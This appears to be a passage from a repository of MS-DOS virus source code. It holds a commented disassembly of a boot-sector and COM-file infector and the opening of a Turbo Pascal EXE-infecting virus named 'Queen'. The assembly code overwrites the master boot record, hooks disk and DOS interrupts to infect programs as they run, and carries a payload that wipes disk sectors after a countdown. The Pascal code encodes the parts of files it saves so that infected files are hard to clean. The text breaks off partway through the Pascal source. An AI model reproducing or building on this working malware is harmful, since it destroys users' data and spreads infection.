||||
mov cl,2 ;0816 B1 02
|
||||
mov dh,0 ;0818 B6 00
|
||||
mov dl,80h ;081A B2 80
|
||||
int 13h ;081C CD 13
|
||||
xor ax,ax ;081E 33 C0
|
||||
push ax ;0820 50
|
||||
mov ax,7C00h ;0821 B8 7C00
|
||||
push ax ;0824 50
|
||||
mov bp,sp ;0825 8B EC
|
||||
;* jmp dword ptr [bp] ;*1 entry ;0827 FF 6E 00
|
||||
db 0FFh, 6Eh, 00h ;0827 FF 6E 00
|
||||
db '. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah ;082A 2E 20 66 69 78 65
|
||||
;0830 64 20 64 69 73 6B
|
||||
;0836 2E 0D 0A 0D 0A
|
||||
db 'Insert COMPAQ DOS diskette in dr' ;083B 49 6E 73 65 72 74
|
||||
;0841 20 43 4F 4D 50 41
|
||||
;0847 51 20 44 4F 53 20
|
||||
;084D 64 69 73 6B 65 74
|
||||
;0853 74 65 20 69 6E 20
|
||||
;0859 64 72
|
||||
db 'ive A.', 0Dh, 0Ah, 'Press any ke' ;085B 69 76 65 20 41 2E
|
||||
;0861 0D 0A 50 72 65 73
|
||||
;0867 73 20 61 6E 79 20
|
||||
;086D 6B 65
|
||||
db 'y when ready: ' ;086F 79 20 77 68 65 6E
|
||||
;0875 20 72 65 61 64 79
|
||||
;087B 3A 20
|
||||
db 7 ;087D 07
|
||||
db 207 dup (0) ;087E 00CF[00]
|
||||
db 80h, 01h, 01h, 00h, 04h, 06h ;094D 80 01 01 00 04 06
|
||||
db 51h, 6Dh, 11h, 00h, 00h, 00h ;0953 51 6D 11 00 00 00
|
||||
db 11h,0AAh, 00h, 00h, 00h, 00h ;0959 11 AA 00 00 00 00
|
||||
db 41h, 6Eh, 04h, 06h, 91h,0DBh ;095F 41 6E 04 06 91 DB
|
||||
db 22h,0AAh, 00h, 00h, 22h,0AAh ;0965 22 AA 00 00 22 AA
|
||||
db 00h, 00h, 55h,0AAh ;096B 00 00 55 AA
|
||||
;----------------------------------------------------------------
|
||||
; partition table buffer end
|
||||
;----------------------------------------------------------------
|
||||
|
||||
r_0304 dw 1460h ;int 21h offset ;096F 60 14
|
||||
r_0306 dw 0273h ;int 21h segment ;0971 73 02
|
||||
|
||||
r_0308 dw 1DADh ;int 13h offset ;0973 AD 1D
|
||||
r_030A dw 0070h ;int 13h segment ;0973 70 00
|
||||
|
||||
db 2Bh ;0977 2B
|
||||
|
||||
r_030D db 1 ;desturction active if=0;0978 01
|
||||
r_030E dw 0 ;:= 0C8h - to activation;0979 00 00
|
||||
|
||||
r_0310 db 0E9h,34h,05h,01h ;victim bytes ;097B E9 34 05 01
|
||||
|
||||
r_0314 db 'Bad command or file name',0Dh,0Ah,'$' ;097F 42 61 64 20 63 6F
|
||||
;0985 6D 6D 61 6E 64 20
|
||||
;098B 6F 72 20 66 69 6C
|
||||
;0991 65 20 6E 61 6D 65
|
||||
;0997 0D 0A 24
|
||||
|
||||
d_032F dw 5 ;file handle ;099A 05 00
|
||||
d_0331 dw 066Bh ;healthy file length ;099C 6B 06
|
||||
|
||||
;===============================================================
|
||||
; Is virus resident ?
|
||||
;---------------------------------------------------------------
|
||||
s_099E proc near
|
||||
push ax ;099E 50
|
||||
push ds ;099F 1E
|
||||
xor ax,ax ;09A0 33 C0
|
||||
mov ds,ax ;09A2 8E D8
|
||||
cmp word ptr ds:[03D4h],'JM' ;int F5h ;09A4 81 3E 03D4 4A4D
|
||||
je l_09B0 ;09AA 74 04
|
||||
clc ;<- NOT resident ;09AC F8
|
||||
jmp short l_09B1 ;09AD EB 02
|
||||
db 90h ;09AF 90
|
||||
|
||||
l_09B0: stc ;<- YES, resident ;09B0 F9
|
||||
l_09B1: pop ds ;09B1 1F
|
||||
pop ax ;09B2 58
|
||||
retn ;09B3 C3
|
||||
s_099E endp
|
||||
|
||||
;===============================================================
|
||||
; Set infection flag
|
||||
;---------------------------------------------------------------
|
||||
s_09B4 proc near
|
||||
push ax ;09B4 50
|
||||
push ds ;09B5 1E
|
||||
xor ax,ax ;09B6 33 C0
|
||||
mov ds,ax ;09B8 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;09BA C7 06 03D4 4A4D
|
||||
pop ds ;09C0 1F
|
||||
pop ax ;09C1 58
|
||||
retn ;09C2 C3
|
||||
s_09B4 endp
|
||||
|
||||
;===============================================================
|
||||
; Contamine first hard disk drive
|
||||
;---------------------------------------------------------------
|
||||
s_09C3 proc near
|
||||
push ds ;09C3 1E
|
||||
push es ;09C4 06
|
||||
push cs ;09C5 0E
|
||||
pop ds ;09C6 1F
|
||||
mov ah,2 ;read ;09C7 B4 02
|
||||
mov al,1 ;1 sector ;09C9 B0 01
|
||||
mov ch,0 ;track 0 ;09CB B5 00
|
||||
mov cl,1 ;sector 1 ;09CD B1 01
|
||||
mov dh,0 ;head 0 ;09CF B6 00
|
||||
mov dl,80h ;first hard disk drive ;09D1 B2 80
|
||||
push cs ;09D3 0E
|
||||
pop es ;09D4 07
|
||||
mov bx,0104h ;= l_076F ;09D5 .BB 0104
|
||||
int 13h ;09D8 CD 13
|
||||
|
||||
cmp cs:[0107h],'QQ' ;contamination signature;09DA 2E: 81 3E 0107 5151
|
||||
je l_0A38 ;-> allready infected ;09E1 74 55
|
||||
|
||||
;<- destruction variable initiation
|
||||
mov word ptr cs:[30Eh],0C8h ;= l_0979 count ;09E3 2E: C7 06 030E 00C8
|
||||
mov byte ptr cs:[30Dh],1 ;= l_0978 off ;09EA 2E: C6 06 030D 01
|
||||
mov byte ptr cs:[3D5h],64h ;= l_0A40 count ;09F0 2E: C6 06 03D5 64
|
||||
|
||||
;<- save oryginal
|
||||
mov ah,3 ;write ;09F6 B4 03
|
||||
mov al,1 ;1 sector ;09F8 B0 01
|
||||
mov ch,0 ;track 0 ;09FA B5 00
|
||||
mov cl,2 ;sector 2 ;09FC B1 02
|
||||
mov dh,0 ;head 0 ;09FE B6 00
|
||||
mov dl,80h ;1 HD Drive ;0A00 B2 80
|
||||
mov bx,104h ;= offset l_076F ;0A02 .BB 0104
|
||||
int 13h ;0A05 CD 13
|
||||
|
||||
;<- make new Master Boot Record
|
||||
mov cx,0BBh ;constant part length ;0A07 B9 00BB
|
||||
inc cx ;0A0A 41
|
||||
mov si,3D0h ;= offset l_0A3B ;0A0B .BE 03D0
|
||||
mov di,104h ;= offset l_076F ;0A0E .BF 0104
|
||||
cld ;0A11 FC
|
||||
rep movsb ;0A12 F3/ A4
|
||||
mov ah,3 ;write ;0A14 B4 03
|
||||
mov al,1 ;1 sector ;0A16 B0 01
|
||||
mov ch,0 ;track 0 ;0A18 B5 00
|
||||
mov cl,1 ;sector 1 ;0A1A B1 01
|
||||
mov dh,0 ;head 0 ;0A1C B6 00
|
||||
mov dl,80h ;1-st HD Drive ;0A1E B2 80
|
||||
mov bx,0104h ;= offset L_076F ;0A20 .BB 0104
|
||||
int 13h ;0A23 CD 13
|
||||
|
||||
;<- write rest of virus code
|
||||
mov al,8 ;8 sectors ;0A25 B0 08
|
||||
mov ah,3 ;write ;0A27 B4 03
|
||||
mov ch,0 ;track 0 ;0A29 B5 00
|
||||
mov cl,3 ;sector 3 ;0A2B B1 03
|
||||
mov dh,0 ;head 0 ;0A2D B6 00
|
||||
mov dl,80h ;1-st HD Drive ;0A2F B2 80
|
||||
mov bx,100h ;= offset L076B ;0A31 .BB 0100
|
||||
push cs ;0A34 0E
|
||||
pop es ;0A35 07
|
||||
int 13h ;0A36 CD 13
|
||||
|
||||
;<-- partition table allready infected
|
||||
l_0A38: pop es ;0A38 07
|
||||
pop ds ;0A39 1F
|
||||
retn ;0A3A C3
|
||||
s_09C3 endp
|
||||
|
||||
;================================================================
|
||||
; Master Boot Record code pattern
|
||||
;----------------------------------------------------------------
|
||||
jmp short l_0A41 ;0A3B EB 04
|
||||
nop ;0A3D 90
|
||||
|
||||
db 'QQ' ;contamination sygnature;0A3E 51 51
|
||||
r_03D5 db 64h ;reboot count to destr. ;0A40 64
|
||||
|
||||
l_0A41: push cs ;0A41 0E
|
||||
pop ax ;0A42 58
|
||||
cmp ax,0 ;0A43 3D 0000
|
||||
je l_0A4B ;0A46 74 03
|
||||
jmp short l_0A9E ;0A48 EB 54
|
||||
nop ;0A4A 90
|
||||
|
||||
;<- code to make destruction
|
||||
l_0A4B: cmp byte ptr cs:[7C05h],0 ;= r_0305 ;0A4B 2E: 80 3E 7C05 00
|
||||
jne l_0A65 ;-> counter not exhaused;0A51 75 12
|
||||
|
||||
l_0A53: mov ax,0310h ;write 16 sectors ;0A53 B8 0310
|
||||
mov cx,1 ;track 0, sector 0 ;0A56 B9 0001
|
||||
mov dx,80h ;head 0, HDD 0 ;0A59 BA 0080
|
||||
mov bx,0 ;buffer ;0A5C .BB 0000
|
||||
int 13h ;0A5F CD 13
|
||||
stc ;0A61 F9
|
||||
cli ;0A62 FA
|
||||
jc l_0A53 ;endless loop ;0A63 72 EE
|
||||
|
||||
l_0A65: xor ax,ax ;0A65 33 C0
|
||||
mov es,ax ;0A67 8E C0
|
||||
dec byte ptr cs:[7C05h] ;reboot counter ;0A69 2E: FE 0E 7C05
|
||||
mov ax,301h ;write counter to disk ;0A6E B8 0301
|
||||
mov cx,1 ;0A71 B9 0001
|
||||
mov dx,80h ;0A74 BA 0080
|
||||
mov bx,7C00h ;0A77 .BB 7C00
|
||||
int 13h ;0A7A CD 13
|
||||
|
||||
mov ax,1000h ;make virus boot copy ;0A7C B8 1000
|
||||
mov es,ax ;0A7F 8E C0
|
||||
mov ax,0 ;0A81 B8 0000
|
||||
mov ds,ax ;0A84 8E D8
|
||||
mov di,7C00h ;0A86 .BF 7C00
|
||||
mov si,di ;0A89 8B F7
|
||||
cld ;0A8B FC
|
||||
mov cx,200h ;0A8C B9 0200
|
||||
rep movsb ;0A8F F3/ A4
|
||||
mov ax,1000h ;0A91 B8 1000
|
||||
push ax ;0A94 50
|
||||
mov ax,7C00h ;0A95 B8 7C00
|
||||
push ax ;0A98 50
|
||||
mov bp,sp ;0A99 8B EC
|
||||
jmp dword ptr [bp] ;run boot code again ;0A9B FF 6E 00
|
||||
|
||||
l_0A9E: xor ax,ax ;0A9E 33 C0
|
||||
mov ds,ax ;0AA0 8E D8
|
||||
mov ax,27Bh ;= 635 ;0AA2 B8 027B
|
||||
mov ds:[0413h],ax ;BIOS memory size ;0AA5 A3 0413
|
||||
mov ax,9F00h ;0AA8 B8 9F00
|
||||
mov es,ax ;0AAB 8E C0
|
||||
mov bx,0100h ;virus offset ;0AAD .BB 0100
|
||||
mov al,8 ;8 sectors ;0AB0 B0 08
|
||||
mov ah,2 ;read ;0AB2 B4 02
|
||||
mov ch,0 ;track ;0AB4 B5 00
|
||||
mov cl,3 ;sector ;0AB6 B1 03
|
||||
mov dh,0 ;head ;0AB8 B6 00
|
||||
mov dl,80h ;hdd nr 0 ;0ABA B2 80
|
||||
int 13h ;0ABC CD 13
|
||||
|
||||
xor ax,ax ;0ABE 33 C0
|
||||
mov ds,ax ;0AC0 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;virus sign. ;0AC2 C7 06 03D4 4A4D
|
||||
mov ax,48Bh ;0AC8 B8 048B
|
||||
mov ds:[0070h],ax ;int 1Ch offs ;0ACB A3 0070
|
||||
mov word ptr ds:[0072h],9F00h;int 1Ch seg ;0ACE C7 06 0072 9F00
|
||||
mov ax,0 ;0AD4 B8 0000
|
||||
mov es,ax ;0AD7 8E C0
|
||||
mov bx,7C00h ;oryg.boot buffer ;0AD9 .BB 7C00
|
||||
mov ah,2 ;read ;0ADC B4 02
|
||||
mov al,1 ;1 sector ;0ADE B0 01
|
||||
mov ch,0 ;track=0 ;0AE0 B5 00
|
||||
mov cl,2 ;oryg. boot sector = 2 ;0AE2 B1 02
|
||||
mov dh,0 ;head ;0AE4 B6 00
|
||||
mov dl,80h ;drive ;0AE6 B2 80
|
||||
int 13h ;0AE8 CD 13
|
||||
|
||||
xor ax,ax ;0AEA 33 C0
|
||||
push ax ;0AEC 50
|
||||
mov ax,7C00h ;0AED B8 7C00
|
||||
push ax ;0AF0 50
|
||||
mov bp,sp ;0AF1 8B EC
|
||||
jmp dword ptr [bp] ;0AF3 FF 6E 00
|
||||
;-------End of MBR pattern
|
||||
|
||||
;================================================================
|
||||
; int 1Ch handling routine (wait until DOS establishing vectors)
|
||||
;----------------------------------------------------------------
|
||||
cmp word ptr cs:[30Eh],0 ;0AF6 2E: 83 3E 030E 00
|
||||
jne l_0AFF ;0AFC 75 01
|
||||
iret ;0AFE CF
|
||||
|
||||
l_0AFF: push ax ;0AFF 50
|
||||
push ds ;0B00 1E
|
||||
xor ax,ax ;0B01 33 C0
|
||||
mov ds,ax ;0B03 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;0B05 C7 06 03D4 4A4D
|
||||
dec word ptr cs:[30Eh] ;0B0B 2E: FF 0E 030E
|
||||
cmp word ptr cs:[30Eh],0 ;counter to dest;0B10 2E: 83 3E 030E 00
|
||||
jne l_0B54 ;0B16 75 3C
|
||||
cli ;0B18 FA
|
||||
mov byte ptr cs:[30Dh],0 ;destruct.active;0B19 2E: C6 06 030D 00
|
||||
xor ax,ax ;0B1F 33 C0
|
||||
mov ds,ax ;0B21 8E D8
|
||||
mov ax,ds:[084h] ;int 21h offset ;0B23 A1 0084
|
||||
mov word ptr cs:[304h],ax ;0B26 2E: A3 0304
|
||||
mov ax,ds:[086h] ;int 21h segment;0B2A A1 0086
|
||||
mov word ptr cs:[306h],ax ;0B2D 2E: A3 0306
|
||||
mov ax,ds:[04Ch] ;int 13h offset ;0B31 A1 004C
|
||||
mov word ptr cs:[308h],ax ;0B34 2E: A3 0308
|
||||
mov ax,ds:[04Eh] ;int 13h segment;0B38 A1 004E
|
||||
mov word ptr cs:[30Ah],ax ;0B3B 2E: A3 030A
|
||||
;<- int 21h
|
||||
mov word ptr ds:[084h],51Bh ;L_0B86 = offset;0B3F C7 06 0084 051B
|
||||
mov ds:[086h],cs ; segment;0B45 8C 0E 0086
|
||||
;<- int 13h
|
||||
mov word ptr ds:[04Ch],4ECh ;L_0B57 = offset;0B49 C7 06 004C 04EC
|
||||
mov ds:[04Eh],cs ; segment;0B4F 8C 0E 004E
|
||||
|
||||
sti ;0B53 FB
|
||||
l_0B54: pop ds ;0B54 1F
|
||||
pop ax ;0B55 58
|
||||
iret ;0B56 CF
|
||||
|
||||
;===============================================================
|
||||
; Int 13 handling routine - sector destruction
|
||||
;---------------------------------------------------------------
|
||||
CMP BYTE PTR cs:[030Dh],1 ;disable ? ;0B57 2E803E0D0301
|
||||
JZ l_0B81 ;-> yes ;0B5D 7422
|
||||
CMP AH,2 ;0B5F 80FC02
|
||||
JNZ l_0B81 ;0B62 751D
|
||||
INC BYTE PTR cs:[030Ch] ;interval 256 ;0B64 2EFE060C03
|
||||
CMP BYTE PTR cs:[030Ch],00 ;0B69 2E803E0C0300
|
||||
JNZ l_0B81 ;->still waiting;0B6F 7510
|
||||
PUSHF ;0B71 9C
|
||||
CALL dword ptr cs:[0308h] ;int 13h;0B72 2EFF1E0803
|
||||
MOV WORD PTR es:[BX+00C8h],'jm' ;destr. ;0B77 26C787C8006D6A
|
||||
RETF 2 ;0B7E CA0200
|
||||
|
||||
l_0B81: JMP dword ptr cs:[0308h] ;int 13h;0B81 2EFF2E0803
|
||||
|
||||
;===============================================================
|
||||
; Int 21h service routine
|
||||
;---------------------------------------------------------------
|
||||
r_051B: CMP AX,4B00h ;0B86 3D004B
|
||||
JZ l_0B8E ;0B89 7403
|
||||
JMP l_0C5F ;-> oryginal service ;0B8B E9D100
|
||||
|
||||
;<- run program, contamine before
|
||||
l_0B8E: push ax ;0B8E 50
|
||||
push bx ;0B8F 53
|
||||
push cx ;0B90 51
|
||||
push dx ;0B91 52
|
||||
push bp ;0B92 55
|
||||
push di ;0B93 57
|
||||
push si ;0B94 56
|
||||
push ds ;0B95 1E
|
||||
push es ;0B96 06
|
||||
call s_0C64 ;check type of victim ;0B97 E8 00CA
|
||||
jnc l_0B9F ;-> COM ;0B9A 73 03
|
||||
jmp l_0C50 ;-> not COM ;0B9C E9 00B1
|
||||
|
||||
l_0B9F: mov ax,4301h ;set file attribute ;0B9F B8 4301
|
||||
mov cx,0 ;no atributtes ;0BA2 B9 0000
|
||||
int 21h ;0BA5 CD 21
|
||||
|
||||
mov byte ptr cs:[30Dh],1 ;no destruction ;0BA7 2E: C6 06 030D 01
|
||||
mov ah,3Dh ;open file ;0BAD B4 3D
|
||||
mov al,2 ;read/write ;0BAF B0 02
|
||||
int 21h ;0BB1 CD 21
|
||||
|
||||
jnc l_0BB8 ;-> O.K. ;0BB3 73 03
|
||||
jmp l_0C50 ;-> error, exit ;0BB5 E9 0098
|
||||
|
||||
l_0BB8: mov word ptr cs:[32Fh],ax ;file handle ;0BB8 2E: A3 032F
|
||||
call s_0C7F ;check if file infected ;0BBC E8 00C0
|
||||
jnc l_0BC4 ;-> no ;0BBF 73 03
|
||||
jmp l_0C47 ;-> yes ;0BC1 E9 0083
|
||||
|
||||
l_0BC4: xor cx,cx ;offset := 0 ;0BC4 33 C9
|
||||
mov dx,cx ;0BC6 8B D1
|
||||
mov ax,4200h ;move file ptr BOF+offs ;0BC8 B8 4200
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BCB 2E: 8B 1E 032F
|
||||
int 21h ;0BD0 CD 21
|
||||
|
||||
mov cx,4 ;4 bytes ;0BD2 B9 0004
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BD5 2E: 8B 1E 032F
|
||||
mov dx,310h ;L097B = safes ;0BDA .BA 0310
|
||||
mov ah,3Fh ;read file ;0BDD B4 3F
|
||||
push cs ;0BDF 0E
|
||||
pop ds ;0BE0 1F
|
||||
int 21h ;0BE1 CD 21
|
||||
|
||||
jnc l_0BE8 ;-> O.K. ;0BE3 73 03
|
||||
jmp short l_0C47 ;-> ERROR ;0BE5 EB 60
|
||||
nop ;0BE7 90
|
||||
|
||||
l_0BE8: mov ax,4202h ;file ptr EOF+of;0BE8 B8 4202
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0BEB 2E: 8B 1E 032F
|
||||
xor cx,cx ;offset=0 ;0BF0 33 C9
|
||||
xor dx,dx ;0BF2 33 D2
|
||||
int 21h ;0BF4 CD 21
|
||||
|
||||
mov word ptr cs:[331h],ax ;L099C = file l.;0BF6 2E: A3 0331
|
||||
cmp dx,0 ;high order word;0BFA 83 FA 00
|
||||
je l_0C02 ;-> LT 64K bytes;0BFD 74 03
|
||||
jmp short l_0C47 ;-> file too big;0BFF EB 46
|
||||
nop ;0C01 90
|
||||
|
||||
l_0C02: and ah,7Fh ;??? ;0C02 80 E4 7F
|
||||
cmp ax,32h ;minimum file size ;0C05 3D 0032
|
||||
jg l_0C0D ;-> O.K. ;0C08 7F 03
|
||||
jmp short l_0C47 ;-> too small ;0C0A EB 3B
|
||||
nop ;0C0C 90
|
||||
|
||||
l_0C0D: mov ah,40h ;file write ;0C0D B4 40
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C0F 2E: 8B 1E 032F
|
||||
mov cx,5E9h ;virus length ;0C14 B9 05E9
|
||||
push cs ;0C17 0E
|
||||
pop ds ;virus segment ;0C18 1F
|
||||
mov dx,100h ;virus offset ;0C19 .BA 0100
|
||||
int 21h ;0C1C CD 21
|
||||
|
||||
mov ax,word ptr cs:[331h] ;file length ;0C1E 2E: A1 0331
|
||||
add ax,54Fh ;(+3 = L0CBD) ;0C22 05 054F
|
||||
mov word ptr cs:[101h],ax ;0C25 2E: A3 0101
|
||||
xor cx,cx ;offset := 0 ;0C29 33 C9
|
||||
xor dx,dx ;0C2B 33 D2
|
||||
mov al,0 ;BOF + offset ;0C2D B0 00
|
||||
mov ah,42h ;set file ptr ;0C2F B4 42
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C31 2E: 8B 1E 032F
|
||||
int 21h ;0C36 CD 21
|
||||
|
||||
mov cx,4 ;4 bytes ;0C38 B9 0004
|
||||
mov ah,40h ;write file ;0C3B B4 40
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C3D 2E: 8B 1E 032F
|
||||
mov dx,100h ;virus start cod;0C42 .BA 0100
|
||||
int 21h ;0C45 CD 21
|
||||
|
||||
;<- Contamination error entry
|
||||
l_0C47: mov bx,word ptr cs:[32Fh] ;file handle ;0C47 2E: 8B 1E 032F
|
||||
mov ah,3Eh ;close file ;0C4C B4 3E
|
||||
int 21h ;0C4E CD 21
|
||||
|
||||
;<-- file not infectable or end of infection
|
||||
l_0C50: mov byte ptr cs:[30Dh],0 ;enable destruct;0C50 2E: C6 06 030D 00
|
||||
pop es ;0C56 07
|
||||
pop ds ;0C57 1F
|
||||
pop si ;0C58 5E
|
||||
pop di ;0C59 5F
|
||||
pop bp ;0C5A 5D
|
||||
pop dx ;0C5B 5A
|
||||
pop cx ;0C5C 59
|
||||
pop bx ;0C5D 5B
|
||||
pop ax ;0C5E 58
|
||||
l_0C5F: jmp dword ptr cs:[304h] ;oryg. int 21h ;0C5F 2E: FF 2E 0304
|
||||
|
||||
;=======================================================
|
||||
; Subroutine - check type of victim
|
||||
;-------------------------------------------------------
|
||||
s_0C64 proc near
|
||||
push ax ;0C64 50
|
||||
push bx ;0C65 53
|
||||
mov bx,dx ;victim name offset ;0C66 8B DA
|
||||
mov al,0 ;End of path char ;0C68 B0 00
|
||||
l_0C6A: inc bx ;0C6A 43
|
||||
cmp [bx],al ;0C6B 38 07
|
||||
jne l_0C6A ;0C6D 75 FB
|
||||
mov ax,4D4Fh ;'MO'- last COM letters ;0C6F B8 4D4F
|
||||
cmp [bx-2],ax ;0C72 39 47 FE
|
||||
je l_0C7B ;-> it's COM ;0C75 74 04
|
||||
stc ;'not infectable' - ptr ;0C77 F9
|
||||
jmp short l_0C7C ;0C78 EB 02
|
||||
db 90h ;0C7A 90
|
||||
l_0C7B: clc ;'infectable' - ptr ;0C7B F8
|
||||
l_0C7C: pop bx ;0C7C 5B
|
||||
pop ax ;0C7D 58
|
||||
retn ;0C7E C3
|
||||
s_0C64 endp
|
||||
|
||||
;=======================================================
|
||||
; Subroutine - check if file infected
|
||||
;-------------------------------------------------------
|
||||
s_0C7F proc near
|
||||
jmp short l_0C83 ;0C7F EB 02
|
||||
nop ;0C81 90
|
||||
|
||||
d_0C82 db 1 ;1 char file buffer ;0C82 01
|
||||
|
||||
l_0C83: push ax ;0C83 50
|
||||
push bx ;0C84 53
|
||||
push cx ;0C85 51
|
||||
push dx ;0C86 52
|
||||
push es ;0C87 06
|
||||
push ds ;0C88 1E
|
||||
push cs ;0C89 0E
|
||||
pop ds ;0C8A 1F
|
||||
mov ax,4200h ;move file ptr BOF+offs ;0C8B B8 4200
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C8E 2E: 8B 1E 032F
|
||||
xor cx,cx ;0C93 33 C9
|
||||
mov dx,3 ;0:3 ;0C95 BA 0003
|
||||
int 21h ;0C98 CD 21
|
||||
|
||||
mov ah,3Fh ;read ;0C9A B4 3F
|
||||
mov cx,1 ;1 byte ;0C9C B9 0001
|
||||
mov bx,word ptr cs:[32Fh] ;file handle ;0C9F 2E: 8B 1E 032F
|
||||
mov dx,0617h ;L_0C82 =file buffer ;0CA4 .BA 0617
|
||||
int 21h ;0CA7 CD 21
|
||||
|
||||
cmp byte ptr cs:[617h],'J' ;infection ptr ;0CA9 2E: 80 3E 0617 4A
|
||||
je l_0CB5 ;-> allready infected ;0CAF 74 04
|
||||
clc ;0CB1 F8
|
||||
jmp short l_0CB6 ;-> ready to infection ;0CB2 EB 02
|
||||
nop ;0CB4 90
|
||||
|
||||
l_0CB5: stc ;<- infected ;0CB5 F9
|
||||
l_0CB6: pop es ;0CB6 07
|
||||
pop ds ;0CB7 1F
|
||||
pop dx ;0CB8 5A
|
||||
pop cx ;0CB9 59
|
||||
pop bx ;0CBA 5B
|
||||
pop ax ;0CBB 58
|
||||
retn ;0CBC C3
|
||||
s_0C7F endp
|
||||
|
||||
;=======================================================
|
||||
; virus entry point
|
||||
;-------------------------------------------------------
|
||||
l_0CBD: call s_099E ;Is virus resident ? ;0CBD E8 FCDE
|
||||
jnc l_0CE0 ;-> no ;0CC0 73 1E
|
||||
|
||||
;<- run victim
|
||||
mov cx,4 ;changed bytes count ;0CC2 B9 0004
|
||||
cld ;0CC5 FC
|
||||
mov di,100h ;address ;0CC6 .BF 0100
|
||||
call s_0CCC ;0CC9 E8 0000
|
||||
|
||||
;------ restore victim byte
|
||||
s_0CCC proc near
|
||||
pop bp ;0CCC 5D
|
||||
sub bp,661h ;l_066B=virus begin-100h;0CCD 81 ED 0661
|
||||
lea si,[bp+310h] ;l_097B ;0CD1 8D B6 0310
|
||||
cld ;0CD5 FC
|
||||
rep movsb ;0CD6 F3/ A4
|
||||
push cs ;0CD8 0E
|
||||
mov ax,offset start ;0CD9 .B8 0100
|
||||
push ax ;0CDC 50
|
||||
retn 0FFFEh ;0CDD C2 FFFE
|
||||
s_0CCC endp
|
||||
|
||||
;<- virus not resident yet
|
||||
l_0CE0: call s_0CE3 ;0CE0 E8 0000
|
||||
|
||||
;------ make virus resident
|
||||
s_0CE3 proc near
|
||||
pop bp ;0CE3 5D
|
||||
sub bp,678h ;=066Bh = vir_beg-100h ;0CE4 81 ED 0678
|
||||
push cs ;0CE8 0E
|
||||
pop ds ;0CE9 1F
|
||||
push cs ;0CEA 0E
|
||||
pop es ;0CEB 07
|
||||
mov di,100h ;0CEC .BF 0100
|
||||
lea si,[bp+100h] ;virus code begin ;0CEF 8D B6 0100
|
||||
cld ;0CF3 FC
|
||||
mov cx,5E9h ;virus length ;0CF4 B9 05E9
|
||||
rep movsb ;overwrite victim code ;0CF7 F3/ A4
|
||||
mov ax,0693h ;= l_0CFB ;0CF9 .B8 0693
|
||||
push ax ;0CFC 50
|
||||
retn ;0CFD C3
|
||||
s_0CE3 endp
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Run in new place
|
||||
;---------------------------------------------------------------
|
||||
r_0693: MOV DX,0314h ;=l_097F (Bad command..);0CFE BA1403
|
||||
MOV AH,9 ;display string ;0D01 B409
|
||||
INT 21h ;0D03 CD21
|
||||
PUSH CS ;0D05 0E
|
||||
POP DS ;0D06 1F
|
||||
MOV AX,3521h ;get int 21h ;0D07 B82135
|
||||
INT 21h ;0D0A CD21
|
||||
MOV cs:[0304h],BX ;= l_096F ;0D0C 2E891E0403
|
||||
MOV cs:[0306h],ES ;= l_0971 ;0D11 2E8C060603
|
||||
CLI ;0D16 FA
|
||||
XOR AX,AX ;0D17 33C0
|
||||
MOV DS,AX ;0D19 8ED8
|
||||
MOV ds:[86h],CS ;int 21h segment ;0D1B 8C0E8600
|
||||
MOV AX,051Bh ;= l_0B86 ;0D1F B81B05
|
||||
MOV ds:[84h],AX ;int 21h offset ;0D22 A38400
|
||||
STI ;0D25 FB
|
||||
CALL s_09B4 ;Set infection flag ;0D26 E88BFC
|
||||
CALL s_09C3 ;contamine hard disk ;0D29 E897FC
|
||||
PUSH CS ;0D2C 0E
|
||||
POP DS ;0D2D 1F
|
||||
|
||||
MOV AX,3513h ;get int 13h vector ;0D2E B81335
|
||||
INT 21h ;0D31 CD21
|
||||
MOV cs:[0308h],BX ;= l_0973 ;0D33 2E891E0803
|
||||
MOV cs:[030Ah],ES ;= l_0975 ;0D38 2E8C060A03
|
||||
|
||||
MOV DX,04ECh ;= l_0B57 ;0D3D BAEC04
|
||||
MOV AX,2513h ;set int 13h vector ;0D40 B81325
|
||||
INT 21h ;0D43 CD21
|
||||
|
||||
MOV DX,06E9h ;= l_0D54 ;0D45 BAE906
|
||||
MOV CL,4 ;0D48 B104
|
||||
SHR DX,CL ;0D4A D3EA
|
||||
ADD DX,11h ;+256bytes (+alignement);0D4C 83C211
|
||||
MOV AX,3100h ;Terminate&Stay Resident;0D4F B80031
|
||||
INT 21h ;0D52 CD21
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
161
MSDOS/Virus.MSDOS.Unknown.queen.pas
Normal file
161
MSDOS/Virus.MSDOS.Unknown.queen.pas
Normal file
@ -0,0 +1,161 @@
|
||||
(*
|
||||
Virus on Pascal.
|
||||
____________________________________________________________________
|
||||
This is a nontsr virus that infects *.exe files and codes the saved-
|
||||
part of the file,so it can be hardly cured!
|
||||
To compile,you'll need TurboPascal(I'm using v.7) and CRT.TPU and
|
||||
DOS.TPU libreries!
|
||||
____________________________________________________________________
|
||||
(c) 1997 by Master of Infection
|
||||
-------------------------------------------
|
||||
*)
|
||||
{$M $1024,0,0} {Get some Memory!}
|
||||
uses dos,crt; {Using libraries}
|
||||
const id='Queen'; {Just my FAVORITE BAND ;-) }
|
||||
long=7504; {Viri's length}
|
||||
mark=$5B7; {Where Queen is in Viri}
|
||||
var mybuf,exebuf:array [1..long] of char; {Arrays to use}
|
||||
f,ff,fff,p:file; {File handles}
|
||||
s,ss,sss:searchrec; {Searchrecords}
|
||||
bufm1:array [1..5] of char; {Yes,One more array}
|
||||
i:word; {And al the rest Variabels...}
|
||||
time,time1,time2:longint;
|
||||
attr,attr1,attr2:byte;
|
||||
q:string;
|
||||
y,j:integer;
|
||||
ee,cmdline:string;
|
||||
coder,decoder:byte;
|
||||
(*
|
||||
You could use one proprocedure,but I'v simply desided
|
||||
to practice in Typing :-)
|
||||
*)
|
||||
procedure decode;
|
||||
begin
|
||||
For y:=1 To long Do {Well,Decode all the bytes in exeBuf array}
|
||||
exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e);
|
||||
end;
|
||||
procedure code;
|
||||
begin
|
||||
For y:=1 To long Do
|
||||
